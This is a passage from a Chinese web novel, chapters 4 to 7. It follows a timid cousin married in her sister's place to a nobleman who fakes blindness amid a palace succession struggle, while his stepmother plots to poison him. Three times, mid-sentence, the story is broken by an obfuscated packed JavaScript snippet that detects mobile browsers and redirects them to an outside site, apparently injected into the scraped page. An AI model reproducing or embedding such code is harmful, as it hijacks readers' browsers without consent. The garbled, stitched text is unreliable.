杨嬷嬷帮她向府里的掌事说后，南枝就成了姜知瑶一个人的丫鬟。 南枝最开始没有名字。 姜知瑶的娘亲最喜欢梅花了，娘亲告诉过她，梅花还有一个名字，叫南枝。 姜知瑶觉得很好听，就一直记着。 “南枝，你就叫南枝吧。” 南枝，南枝，最本来的意思是，树木向南生长的枝条。 南枝向阳。 所以在南枝的眼里，姜知瑶就是她的太阳。 4. 初见 姜知瑶躺在床上，想起了第一次见晏枕溪的那天。 是一次晏府举办的宴会，纪婉清带着姜知瑶前去参加。 那也是姜知瑶第一次去参加宴会，虽然表面上没有显示出来，但她还是很期待的。 因为纪姐姐说在宴会上不仅有许多好吃好看的菜肴，也许还可以结交新朋友。 姜知瑶换上了她最喜欢的衣服，南枝帮她挽了一个精致的发髻。 纪婉清带着姜知瑶一个人去赴宴了。 姜知瑶想着，京城的贵女们，肯定都是像纪姐姐一样温柔吧。 到了宴会上，姜知瑶见到了很多好看的女孩子，纪婉清一进去，就被她们围住了。 姜知瑶被挤开了。 她眼巴巴地望着纪婉清，在这陌生的宴会上，她只认识纪姐姐。 纪婉清微微皱眉，把姜知瑶牵了过来，和大家介绍着：“这是我的妹妹，姜知瑶。” 原本忽视她的人都笑着和姜知瑶打起来招呼。 “呀，婉清，你的妹妹长得真可爱呢。” 姜知瑶看看面前夸自己可爱的明艳漂亮的大姐姐，面颊有些发热，微微低下了点头。 整个宴会上，大家都很热络地和纪婉清说着话。 姜知瑶看着纪婉清在其中从容应对，只觉得纪姐姐真的很厉害。 尤其是在纪婉清对出一首诗，众人纷纷叫好后。 和府中的温柔纪姐姐不一样，人群中的纪姐姐好像在发光。 纪婉清也时不时拉入姜知瑶，照顾着姜知瑶，但姜知瑶不擅长聊天，所以在宴会后半程，纪婉清看出了她的不自在。 纪婉清告诉姜知瑶，若是不喜欢人多，可以去其他地方走走。 姜知瑶当然不想再继续待在人多的地方，纪婉清嘱咐她哪些地方不能去后，姜知瑶就一个人离开了。 晏府真的很大，园子里的花都很漂亮，姜知瑶虽然不认识那些花的品种，但很喜欢。 没逛多久，走到了一个池子前面。 池子中的荷花都开了，一大片地开着，煞是好看，池边有假山还有些高大的树木，清风拂过，很是清爽。 姜知瑶打算就在这里待一会，等宴会快结束的时候，再回去找纪姐姐。 大约一刻钟后，姜知瑶听到了不远处有些嘈杂的声音。 她抬头看去，是之前宴会上的一群贵女们。 她们好像在一起逛着，姜知瑶眼神寻找了一会，没有看到纪姐姐，心里有些失望。 为首的是刚刚夸自己可爱的大姐姐，姜知瑶记得，她叫陈莲心。 姜知瑶先向她们问了个好：“姐姐们好。” “哦，你是……”陈莲心有些记不起来。 后面的人提醒她：“是纪婉清今天带过来的妹妹。” “是你。”陈莲心皱起了眉头，态度突然变得恶劣起来，“是她家来投奔的穷亲戚？” 姜知瑶站在原地有些反应不过来。 陈莲心嗤笑了一声：“真是一个呆头鹅。” “怎么你姐姐就那样聪、明、伶、俐。”语气满是不喜。 “陈姐姐别生气啊，那纪婉清不过就是故作清高，虽然有才女的名称，但不过就是一个尚书府的小姐罢了，那比得上陈姐姐呢。”身后的人奉承道。 心里却暗暗不屑，不过是会投胎罢了，投到了国公府这样好的人家里。 虽然身份高贵，却脑袋空空，旁人一挑拨就上套，捧几句便信以为真。 陈莲心得意地挑了挑眉：“那是，纪婉清算什么，也不知道天天装的那副样子给谁看。” 姜知瑶就算再迟钝，也听出了她们对纪婉清的恶意。 向来不会反驳他人的姜知瑶开口，语气有些重：“你们凭什么这样说纪姐姐。” “嗯？”像是没想到姜知瑶敢回嘴，陈莲心讥笑了起来，“怎么，你还维护纪婉清起来了？” “一个什么身份都没有的人，也敢跟我顶嘴？” “反正纪姐姐就是比你好多了，你不能那样说纪姐姐。”向来胆怯的姜知瑶也不知道哪来的勇气，竟然敢一再反驳陈莲心的话。 反正在她眼里，对她好的纪婉清就是比眼前这个两面三刀的人要好上太多。 陈莲心彻底生气了，一个两个都说她不如纪婉清，她弄不了别人，还惩罚不了一个尚书府里的表小姐吗？ 她使了一个眼神给旁边的丫鬟，丫鬟立马懂了陈莲心的意思。 上前就要把姜知瑶推进荷花池中。 池子边都是不规整的石头，姜知瑶躲闪不及，眼看着自己就快要被推入池中。 忽然，一颗小石子从空中袭来，击中了那个丫鬟向姜知瑶伸过来的那只手的手腕。 丫鬟吃痛，手垂了下来。 “欺负人可不是贵女的做派。”温润的声音从身侧传来。 姜知瑶下意识看去。 来人身材修长挺拔，身着天青色锦袍，姿容俊美，一双丹凤眼温润如玉，唇色浅红，很是好看。 气质清隽脱俗，温文尔雅。 原本嚣张的陈莲心一时有些慌张：“晏公子……” 晏枕溪是全京城女子的梦中情人，陈莲心自然也不例外，如今被他看到了自己这番跋扈的模样，陈莲心只觉得天旋地转，巴不得现在就落荒而逃。 “晏府不是能让你们随意欺凌他人的地方，若是再这样，恐怕晏府不再会邀请各位了。” “抱歉，晏公子……”陈莲心看上去羞愧不已。 晏枕溪开口，声音温和却带着些不容置喙的意味：“你应该向这位小姐道歉才是。” 陈莲心不情不愿地看着姜知瑶，扭扭捏捏地说了声对不起，然后似是丢了颜面，说完就立马和她的小姐妹们一起离开了。 姜知瑶有些感激地看着晏枕溪：“多谢公子。” “无妨。”说完晏枕溪便带着身后的小厮离开了。 姜知瑶看着晏枕溪离去，等他的背影消失才回过神来。 原来还有长得如谪仙一般的人啊。 身上也有股好闻的清香。 她之前一直觉得纪姐姐是她见过最好看的大美人，没想到有人比纪姐姐还要好看。 姜知瑶有些魂不守舍的回到了纪婉清旁边。 回到纪府后，纪婉清问姜知瑶玩的开不开心。 姜知瑶认真地想了想：“宴会上的饭菜很好吃。” 每道都很精致，精致的同时也不失风味。 纪婉清浅笑了起来：“有没有交到什么朋友啊。” 姜知瑶垂眸，唇瓣微抿：“纪姐姐，我不喜欢那个姓陈的姐姐。” “陈莲心啊。”纪婉清笑着说道，“刚好，我也不喜欢她。” 纪婉清温柔地摸了摸姜知瑶的脑袋：“那下次去我们不和她说话。” “好。”姜知瑶的眼睛亮了起来。 后面时常有宴会，纪婉清每次都会带着姜知瑶去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901185|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参加。 姜知瑶每次宴会都黏在纪婉清身边，惹得旁人都笑她身边跟了个小尾巴。 纪婉清每次听到后都会笑着说：“你们是羡慕我有这么可爱的妹妹吧。” 她也从来不觉得姜知瑶是麻烦，总是觉得自己妹妹太懂事了。 姜知瑶最开始到府上的时候，确实是没有人重视她，只是安排给她了一个院子而已。 直到那天纪婉清无意中看到有下人在欺负姜知瑶，而后跟着来到姜知瑶的院子，才发现那些下人竟如此苛待她。 院子杂草丛生不说，屋内竟也十分简陋，许多家具和一些东西都被那些人中饱私囊。 看着姜知瑶和进府时一样的瘦弱和胆怯，纪婉清心里满是愧疚，她觉得是自己放任了这样的结果。 所以纪婉清总是想尽可能的对姜知瑶好点，况且姜知瑶实在是惹人怜爱，纪婉清便越来越喜欢这个妹妹了。 但姜知瑶对那段时间并不觉得有什么，纪府能够收留她，给自己一个容身之地，姜知瑶就已经很感激了，再者，纪府下人的欺负对比姜知瑶之前受到的，也只是小巫见大巫，不过是一些言语欺凌和克扣份例罢了。 - 程明珠是姜知瑶在宴会上认识的，一开始姜知瑶不喜欢她，因为程明珠总是在宴会上呛纪婉清。 但后面姜知瑶发现，程明珠这样爱憎分明的人，要比陈莲心那种当面一套背后一套的人要好上太多。 一次程明珠坐在了姜知瑶旁边，给姜知瑶递过来了一碟葡萄：“我看你喜欢吃，给你了。” 姜知瑶有些惊讶，她微微抬头看着程明珠，发现了她耳根处不明显的红。 “谢谢。”姜知瑶杏眼微弯。 她好像要交到一个朋友了呢。 - 虽然在宴会上，男女是分席坐的，但姜知瑶还是能时不时看到晏枕溪。 京城里惊才绝艳的贵公子，就算姜知瑶没有刻意去关注，也能时常从旁人口中听到。 他作的诗赋又惊艳京城了；年纪轻轻第一次参加科举就拿下状元；他的提案得到了圣上的赏识；他成了当朝最年轻的四品官。 可除了那次他的帮助，姜知瑶向来只能远远地观望着他。 虽然喜欢晏枕溪，但姜知瑶不会表露出来一点，也不会让旁人知晓，因为她知道自己以后恐怕与他也不会有半分交集。 至于南枝，姜知瑶从来没想瞒过，所以南枝一直都知道。 但可能是一开始没有藏得太好，被纪姐姐看出来了。 纪婉清告诉姜知瑶，喜欢可以多去争取，但姜知瑶不敢这样。 自己的家世相貌才情，有哪样是可以让他看得上自己的呢。 能远远看上他一眼，姜知瑶便已经很知足了。 只是她没有想到，有天高岭之花也会跌落神坛，晏枕溪的眼睛看不见了。 姜知瑶为此伤心了很久，觉得实在是造化弄人。 在听到赐婚圣旨的时候，姜知瑶做出了她此生最大胆的决定。 尽管嫁进来后，姜知瑶很想和晏枕溪多相处一会，但怕晏枕溪不喜，所以基本上也没有主动去找过他。 若是以前，晏枕溪想娶什么女子不可以，如今却娶了自己，虽然面上没有什么表示，想来也是不满意的吧。 但看今天书房里晏枕溪的态度，应该也没有，很不喜她吧？ 姜知瑶这样想着，睡意渐渐袭来，伴着月光进入了梦乡。 5. 继母 姜知瑶已经到晏府两个月了，除了成婚和敬茶的那两次，姜知瑶没再见过晏枕溪的父母。 一是姜知瑶也不会去随意在晏府走动，二是那两位看样子也不怎么喜欢人去打扰，也从来不会踏足晏枕溪所在的院子里。 但今天很奇怪。 顾兰茹的房间里，姜知瑶站着等她过来。 顾兰茹就是晏枕溪的继母，如今晏府的当家主母。 差不多等了半个时辰的时间，顾兰茹终于过来了，姜知瑶向她行了个礼。 顾兰茹没有多分几个眼神给她，先在窗边的塌上坐了下来，抿了一小口茶后立马把杯盏放下来，发出不小响声，皱眉道：“茶都凉成这样了。” 周围的下人没有一个上前，姜知瑶随即上去：“我来帮母亲沏茶吧。” 姜知瑶端过了茶杯，来到沏茶的地方，仔细地开始沏茶。 这些她都有和纪姐姐一起学过，纪婉清不仅宴会上带着姜知瑶，平日里学习些琴棋书画等都会带着姜知瑶。 虽然姜知瑶的才学聪慧不及纪婉清，但在这么久的熏陶下，该学的礼仪才艺之类也是旁人挑不出错来的。 身旁的嬷嬷看着姜知瑶沏茶的动作，一言不发。 沏好茶后，姜知瑶端着给了顾兰茹。 顾兰茹抿了一口，面上舒展了一下，态度变得有些温和起来。 “你已经进府有两个月了吧。” “是的。”姜知瑶微微低着头回答道。 顾兰茹看向姜知瑶继续说：“听说你们现在还在分房睡？” 姜知瑶不知道要回什么，还没等她思索完顾兰茹又说：“虽然你是替嫁，大家也都心知肚明，但是……” 姜知瑶的头更低了。 “但是我的儿子看起来不是很满意啊。” “你是，纪府的表小姐，对吧？”其中一个字的音咬得很重。 “虽然我这个儿子如今眼盲，但也还是朝廷的四品官，之前给他挑选了许多世家女，他都不满意，如今对你这个态度倒是正常。”话里话外都在贬低姜知瑶。 “女子嫁人后，都要依仗婆家，你这些时日，怕是过的不太好吧。” 姜知瑶在心里暗暗反驳，才不是，她还有纪姐姐和明珠呢。 纪姐姐给了姜知瑶好几家店铺，也教会了她怎么打理铺子，虽然姜知瑶没有亲自到场管过，但背后都是她在指点，现在生意也是蒸蒸日上，自己才不需要依仗婆家。 “你现在最重要的，就是抓住丈夫的宠爱，早日怀上孩子，这样才会在晏府里有立足之地啊。”顾兰茹听上去苦口婆心地劝说道。 看着面前姜知瑶低眉顺眼的样子，顾兰茹心里很是满意。 她拉过姜知瑶的手，姜知瑶顺势坐到了旁边的塌上：“我这也是为你好，我们女子向来不容易啊。” 顾兰茹看了眼身后的嬷嬷，嬷嬷上去，递了一小瓶东西过来。 姜知瑶垂眸看着顾兰茹牵着自己的手，明明室内烧着炭，但顾兰茹的手却异常冰凉，再加上常年的保养，皮肤非常细嫩光滑，姜知瑶觉得自己像是被条蛇给缠住了。 顾兰茹把那小瓶给了姜知瑶，语重心长地说：“这个，是一些房中的东西，也不用我说的太明白，知瑶啊，许多东西是要靠自己争取的。” 姜知瑶接过瓶子，低声开口说道：“我认得了，多谢母亲。” “好孩子。”顾兰茹拍了拍姜知瑶的手背。 “那儿媳先下去了。”姜知瑶向顾兰茹行了个礼后，就要离开。 顾兰茹状若无意的随口问了句：“枕溪的眼睛有好点吗？” 姜知瑶垂下眼帘回答：“儿媳不清楚。” 顾兰茹摆了摆手：“你下去吧。” 等姜知瑶离开后，顾兰茹身后的嬷嬷上前问道：“夫人，她真的有用吗？” 顾兰茹看着自己手上新染的蔻丹，漫不经心地开口：“谁知道呢，多一丝机会罢了，说不定就真的英雄难过美人关呢。” 望着晏枕溪院子的方向，顾兰茹的眼睛里止不住的露出狠毒。 怎么那次就没让他直接死掉。 不过也没关系，现在成了个残疾，也没有资格和她的儿子争晏府了。 当然，死了最好，那样有心机的人，只有变成死人才不会再翻出什么风浪。 - 离开顾兰茹的院子后，姜知瑶狠狠吸了口清新的空气。 顾兰茹房间的熏香太浓了，姜知瑶感觉自己在里面头都有些昏昏沉沉的。 等在院外的南枝连忙过来，面上带着些担忧：“小姐，没什么事吧？” 姜知瑶摇了摇头：“没事，就是说了几句话。” 看着姜知瑶有些恹恹的神情，南枝心疼的不得了：“小姐，今天等会做你最喜欢的樱桃肉。” “好。”姜知瑶眼睛亮了一点，感觉心里的一些沉重也驱散了些。 用过晚膳后，姜知瑶一个人待在房间里，打开了那个小瓶子，里面都是些褐色的粉末。 就算姜知瑶不懂医，也知道这肯定不是顾兰茹说的什么房中用的，这很有可能就是毒药。 她真的很讨厌这些府里的勾心斗角。 姜知瑶盯着这个小瓶子看了一会，也不知道现在要怎么办，就先放了起来，打算哪天出府的时候再带出去处理。 看来这个顾兰茹真的和京城里人传的一样佛口蛇心。 晏枕溪的亲生母亲在他刚出生后没多久就去世了，没过一两年，现在的顾兰茹就进府了，然后生下了一个儿子，叫晏赐应。 晏枕溪和晏赐应只差了三四岁，最开始在大家心里，都说顾兰茹是贤良淑德的代表，在大家面前对晏枕溪这个儿子好的没话说，还时常在宴会上夸耀他聪慧。 但在一次众目睽睽之下，年仅九岁的晏赐应将晏枕溪推下池子，稚嫩的脸上满是让人看到害怕的恶劣神态，口中吐出恶毒的话语：“我娘说的没错，你就该去死。” 众人都心惊不已，在外面都敢如此，可见平日里又会是怎样对晏枕溪的。 虽然后面晏府的人想封锁消息，但那天看到的人们对池中浑身湿漉漉垂眸低首的少年都心生怜悯，消息还是传出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901186|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 所以就算现在的顾兰茹装的再好，旁人都只会在暗地里啐几句，说她佛口蛇心。 再加上晏枕溪越来越展现出他的才华和风度，而晏赐应却越来越嚣张跋扈，两相对比，虽然明面上不会表示出来，但大家暗地里对顾兰茹和晏赐应都是十分不喜的。 想到这里，姜知瑶突然觉得晏枕溪有些可怜，如今他都已经这样了，那个顾兰茹看上去却还是不肯放过他。 而这背后，肯定也有晏枕溪父亲的纵容。 姜知瑶虽然小时候也没有过得很好，但她有个很爱自己的娘亲，尽管住在府里最偏僻的小院子里，还会有旁人的奚落，但娘亲会一直陪她玩，给她做好吃的，教她用树枝写字，看着她玩闹，那段时间也是姜知瑶过的最轻松的时光。 可是在娘亲去世后……姜知瑶纤长的睫羽轻轻眨了下，不愿再多去回想。 但她也是感受过娘亲宠爱的，一想到晏枕溪母亲去世没多久，顾兰茹就到府上了，姜知瑶心里涌上酸涩。 姜知瑶之前最喜欢的，就是娘亲做的枣泥山药糕，不光味道甜甜糯糯的，娘亲还会把它做成好看的花朵形状。 这也是姜知瑶唯一会做而且最拿手的糕点了。 想了想，姜知瑶起身向小厨房走去，做一些糕点给他送过去吧。 - “大人，姜小姐被顾兰茹叫过去了一段时间，顾兰茹给了姜小姐一个小瓶子。” 随后又把她们两个之前的对话一五一十地告诉了晏枕溪。 晏枕溪随意翻过了一页书：“那她现在在干什么。” 暗卫继续说道：“姜小姐现在在小厨房做糕点。” “哦？”难不成那个胆怯的小姐真的想给他下药？ 他倒要看看姜知瑶等下会怎么过来和他说。 “还有顾兰茹那边，她娘家派人过来，向她询问大人您是否真的眼睛一点都看不见了。” 顾兰茹的娘家，晏枕溪的手指在书的边缘轻点了两下。 将军府自从顾兰茹的名声变差后就鲜少与其走动，如今也参与进来了吗？ “你先下去吧。”晏枕溪说道。 又翻过一页书后，晏枕溪无端的想到，是不是她信了那个女人的话？ 晏枕溪觉得也不是没有这个可能，毕竟那位姜小姐看上去也不是很聪明的样子。 手中的书被放下，他拿起了一旁的眼纱。 - 小厨房里，南枝在给姜知瑶打着下手：“小姐，怎么想着现在做枣泥山药糕了？是今天的樱桃肉不好吃吗？”所以没吃饱？ 但是南枝回想着今天小姐用膳时的样子，应该也没有啊。 “没有没有。”姜知瑶否认道，“樱桃肉好吃的，只是我想着现在做一些糕点给晏枕溪送过去。” “噢噢，要送给姑爷啊。”南枝了然。 见南枝眼睛直勾勾地盯着自己手里的糕点，姜知瑶笑了笑，拿起一块喂给了南枝：“给你留一半。” “谢谢小姐。”南枝语气愉悦，小姐做的枣泥山药糕就是最好吃的！ 6. 送糕点 “夫君。”姜知瑶在门口了下敲门。 “进来吧。” 姜知瑶端着糕点推门走了进去。 上前把糕点放在晏枕溪旁边的小桌上：“这是我刚刚做的枣泥山药糕，夫君可以尝尝。” 说完后姜知瑶就看着晏枕溪，晏枕溪觉得有些奇怪，怎么感觉她看向自己的目光带着些……怜惜？ “夫君不尝尝吗？”姜知瑶看晏枕溪半天没有动作问道。 晏枕溪当然不会吃：“不了，我等会吃，多谢夫人了。” “好吧。”姜知瑶看上去有点失望，但也没有再说什么。 走之前，姜知瑶看着晏枕溪忍不住多说了一句：“夫君记得早点休息。” 门被关上了。 晏枕溪捻起一块白白净净的糕点，放在鼻尖轻闻了一下。 闻着还挺甜的。 晏枕溪随意放了下去：“拿去扔了。” “好的大人。”原本只有晏枕溪的房间突然如鬼魅般悄无声息的出现了一个暗卫。 暗卫端起来后，迟疑地说了句：“……大人，这盘糕点姜小姐没有加东西。” 晏枕溪淡淡地看了他一眼：“我知道。” 暗卫背后突然出了许多冷汗，他不该说的。 因为有时换班的时候会轮到他去看着姜知瑶，他对姜小姐的感观很好。 总觉得姜小姐身上有种不自觉让人感到平和的气息，而且看着她平日里生活的温馨，也能让向来刀尖舔血的暗卫稍微放松下来一点。 所以他刚刚情不自禁地想着为姜小姐说话。 暗卫连忙跪下认错：“属下知错。” 大人有段时间没有做那些事情了，竟然让他一时忘记了大人的脾性。 暗卫的头紧贴在地面上，地面冰凉，但他的额头上却沁出了许多汗，小臂不自觉微微颤抖。 “自己下去领罚，以后不必来晏府了。”声音冰冷，与之前说话温和的语气截然不同。 “是。”暗卫应完后沉默地退下。 以之前那位姜小姐的表现出来的性格，他当然知道糕点里没有下东西。 但是现在，晏枕溪冷漠地想，看来这位小姐也没有表现出来的胆怯单纯。 不然怎么会让自己的暗卫为她说话？ 这才进来多久，竟然连他也差点骗过去了，想来那些送过来的炭也只是迷惑他的手段罢了。 晏枕溪从来不相信一个人会无缘无故地对另一个人好，除非有利可图。 他也向来不惜以最坏的想法揣测他人，尤其是接近他的人。 突如其来的赐婚和替嫁，进来后表现的软弱可欺，她又会是谁派来的吗。 - “夫君，在吗？”姜知瑶又端着糕点来敲门了。 自从第一次给晏枕溪念书后，姜知瑶后面还来过好几次，所以今天她想着没什么事，就又过来了，随便带着糕点。 “进来。”姜知瑶没有听到暗藏在里面的冷漠。 “我来给夫君念书了。”姜知瑶将糕点摆在昨天一样的位置上，语气有些期待，“昨天的糕点还合夫君胃口吗？” “你日后无事不必过来了。”晏枕溪没有面向姜知瑶说，“我喜欢清净。” 姜知瑶一时被这话砸的有点懵，好一会才反应过来，不知道为什么他突然这样说。 是自己惹他厌烦了吗？姜知瑶忍不住多想。 她用力眨了眨有些酸涩的眼睛，眼眶中氤氲出雾气。 “我知道了。”声音轻而又轻。 看着眼前自己用心做的精致糕点，姜知瑶突然有些难受，他肯定不喜欢吃，与其浪费，还不如自己带回去和南枝一起吃。 也带着一丝自己都说不清楚的生气，姜知瑶把那盘糕点重新端回自己的手里，没有再说什么离开了房间。 晏枕溪难得有些困惑地眨了下眼睛，隔着眼纱看向姜知瑶离去的背影。 她这是，生气了？ 走在廊桥上，因为吹过来的冷风瑟缩了一下肩膀。 姜知瑶刚刚罕见生出些的怒气消失了。 她的步子放慢下来。 姜知瑶有些懊恼地皱了下脸。 是晏枕溪的温和让她生出了些得寸进尺的心思啊。 明明不该这样的。 没有期待就不会失落，更不会生气。 她其实已经好久没有生气的感觉了。 晏枕溪也没有义务满足她的期待。 日后还是不去打扰他了。 姜知瑶这段时间刚刚伸出去的一点试探一下子全部缩了回去。 - 冬日过去了，温暖又生机勃勃的春日到来了。 今天，京城也要迎来一场盛事。 三皇子平定西北，带领将士们班师回朝了。 姜知瑶现在正坐在云月楼里，看着街上走过来意气风发的将士们。 她旁边是纪婉清还有程明珠。 为首的三皇子一身战甲，在阳光的照耀下熠熠生辉，皮肤是健康的小麦色，身材健硕。 纪婉清从花瓶里随意抽出一支花向下抛去。 花枝不偏不倚砸在了那位三皇子的身上，三皇子稳稳接住，然后仰头看向纪婉清咧开嘴笑。 刚刚还是意气风发的样子，现在笑起来却有几分憨气。 纪婉清噗呲一声笑弯了眼。 向来清冷的脸庞现在笑的明媚，直叫下面举着花枝的人看呆了眼。 程明珠在旁边托腮看着，感叹道：“真好啊，一个两个的。” 她现在连和纪婉清拌嘴的心思都没了：“我爹一直让我去相看。” 说到这个程明珠就来气：“看了五六个了，一个都没成，那个还宣熙故意来嘲笑我。” 宣熙是侍郎家的小公子，程明珠和他向来不对付。 “对了，瑶瑶，你和晏枕溪怎么样了？”吐槽完后，程明珠侧头问姜知瑶道。 纪婉清现在也收回了看向下面的目光，看向姜知瑶，等着她的回答。 自从那次书房后，姜知瑶就没有再去找过晏枕溪了，这些天来她也没怎么见到过晏枕溪，平时远远看见也就是打个招呼。 姜知瑶温声回答：“就正常相处。” “什么叫正常啊。”程明珠显然不满足这个回答，“他有没有欺负你。” “没有。”姜知瑶摇了摇头，“就是相敬如宾这样，也挺好的。” “晏府的其他人没有为难吧？”纪婉清跟着问道。 “没有。”姜知瑶笑着回答，隐去晏夫人那次的谈话，“你们都问过好多遍啦。” “要是真的受欺负的话，我肯定会告诉你们的，再说我们现在不还是经常可以见到吗。” 纪婉清叹了一口气：“还是之前在府上的时候好，想什么找瑶瑶都可以。” 姜知瑶走后，纪婉清在府上总是想念她，甚至有时都会下意识地走到姜知瑶的院子前面。 程明珠轻哼一声：“我看现在也挺好的，这样你就不会总是占着瑶瑶了。” 纪婉清没有接她的话：“晚上的宴会你们去吗？” 今天三皇子回朝，皇宫里会举报宴会。 “当然去。”程明珠一向喜欢凑热闹，这次宴会肯定很多人去。 姜知瑶也会去，今早晏枕溪已经派人和她说过了：“去的。” “不知道今天宴会上又排了什么歌舞。”程明珠很是期待。 - 一处隐秘的阁楼里。 晏枕溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901187|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢条斯理地给自己倒了一杯茶，对面坐着的正是刚刚回到京城的三皇子。 三皇子显得有些着急，将面前的茶一饮而尽，然后连忙问道：“京城这边怎么样？” “都很顺利。” “那就好。”三皇子面上原本稍显焦急的神色放松开，“辛苦你了。” 晏枕溪的眼瞎是装的，他当时确实伤到了，但眼睛并没有事。 当今圣上已垂垂老矣，太子之位却还没有立下来，底下的皇子们自然都蠢蠢欲动起来。 而晏家，是他们必争的一个势力。 但如今的晏家，虽然明面上还是晏枕溪的父亲在主事，但内里基本上都已经由晏枕溪掌握了，所以晏枕溪就是他们争相结交的对象。 甚至可以说，晏枕溪站在谁这边，谁就已经有七八分的把握坐上那个位子。 当然，若是自己结交不到，皇子们自然也不会让其他人有机会。 面对各方势力抛来的橄榄枝，晏枕溪都无动于衷，皇子们不由着急了起来，谁都害怕晏枕溪暗地里已经投向了自己的敌对的一方。 见晏枕溪迟迟未有动静，各方都着急了起来，晏枕溪受到的暗杀也越来越多。 而且不光是那些皇子们，圣上对晏家也多有不满。 所以为了让自己在表面上从这场夺嫡之争中脱身，晏枕溪在知道那次的宴会上会出现刺客的时候，就已经想好了要让自己变成一个“残疾”。 圣上和皇子们自然不信晏枕溪真的眼睛完全看不见了，但面对一波波的探看，晏枕溪自有办法应对。 没过多久，那些人自然慢慢放弃了，毕竟在明面上，晏枕溪已经成为了一个废人，也失去了对晏府的掌控，自然也就没有了价值。 他们转而去结交晏赐应，晏枕溪的那个纨绔的弟弟。 但在晏枕溪出事没多久后，晏赐应就被安排到了地方去历练。 虽然不能直接和晏赐应接触，但那些势力还是时常送礼给晏赐应。 晏赐应自然是春风得意，但他不知道，他所掌握的那些晏家的势力，都只是空壳而已。 其实，晏枕溪确实早已选择好了自己要结交的对象，在这场有关皇位的争夺中，晏家不可能独善其身。 但他所选择的，从来都不是那些在京城里相互猜忌争夺的皇子们，而是远在西北，不受圣上喜爱的三皇子。 这其实是晏枕溪早就做好的决定，在很早之前，他就在暗地里观察过各个皇子，大皇子过于自负，二皇子为人又阴险狡诈，四皇子又太过懦弱…… 只有三皇子是最合适不过的人选。 他为人热忱，勇猛却不莽撞，胆大又不失细腻，敢于做决定又不失同情怜悯之心。 今天的谈话已经接近尾声，这段时间的谋划和接下来的布局都已经安排完了。 三皇子突然认真地对晏枕溪说：“婉清很喜欢她的那个妹妹，这次也多亏了她，希望你可以对人家好点。” 相处这么久，他也早就知道了晏枕溪的性子，足智多谋却太过冷漠和利己。 作为盟友和朋友来说，晏枕溪无疑是再好不过的，但若是作为夫君的话，怕是远远不合格。 晏枕溪迟疑了几秒，应下：“我会的。” 对她好点吗，怎样才算好？ 他突然想起了那天在书房的场景，他是不是，当时语气有些太不好了？ 这些天来，自己也没有再怎么见过姜知瑶了，有时碰到了，也不过生疏地相互问声好。 晏枕溪又莫名想起了成婚时她那双水润润的眼睛，冬日送来的炭，还有她在书房里时温软的念书声。 最后是那盘他未曾尝过，看上去精致软糯的糕点。 吃起来会和闻起来一样香甜吗。 7. 宴会 夜幕降临，皇宫里的宴会上，觥筹交错。 四周的目光一直隐晦却富有存在感地向晏枕溪这边看来。 这还是晏枕溪出事后第一次参加这种大型的宴会。 一路上，哪怕只是站在晏枕溪旁边，姜知瑶都能感受到他人的目光。 这让她感到很不自在，姜知瑶悄悄看了晏枕溪一眼，发现他还是很往日的宴会上一样从容淡定，只是比以前相比多了一个眼纱而已。 宴会还没正式开始，圣上也还未到，大家正在相互交谈着。 和以往宴会上大家纷纷来恭维晏枕溪的场景不同，如今他的周围非常冷清。 偶尔有人过来谈话，却句句不离晏枕溪眼睛的事情，还时不时叹息几声。 像现在这个正在和晏枕溪交谈的人，姜知瑶可以清楚地看见他眼底的幸灾乐祸。 而晏枕溪还是和往常一样，温声回答着，脸上的笑容分明与以往没有什么不同，也仿佛感受不到话语中用怜悯包装着的恶意。 听着对面人说话的恶意越来越浓重，姜知瑶皱了皱眉，挽上晏枕溪是手臂，第一次打断别人的谈话，轻声说道：“夫君，我有些不舒服，想先去坐着。” 被扯住的晏枕溪话语突然停顿了一秒。 对面的人也诧异了一下，然后晏枕溪微微颔首向对面的人说道：“抱歉秦大人。” “哈哈哈。”对面的人掩饰着笑了几声，像是也意识到了自己刚刚话中的不妥之处，“晏大人先带夫人落坐吧。” 宫人引着晏枕溪和姜知瑶落座。 和晏枕溪以往在偏上面的位置不同，这次的位置在大殿靠近门口的地方，旁边是一个朱红色的大柱子，有些挡住了视线。 晏枕溪安然落坐，姜知瑶坐在他旁边，宫人退下。 “陛下驾到。”是太监尖细的声音。 “吾皇万岁万岁万万岁。”众人纷纷行礼。 圣上坐在了最上面的位置：“平身。” 宴会这才正式开始。 面对三皇子自己打了胜仗许久未见的儿子，圣上面上竟没有多少欣喜，甚至不如他看到一个将领时那般和颜悦色。 足以见得圣上对于三皇子的不喜。 一些原本想在宴会后与三皇子攀谈的官员一时都歇了心思。 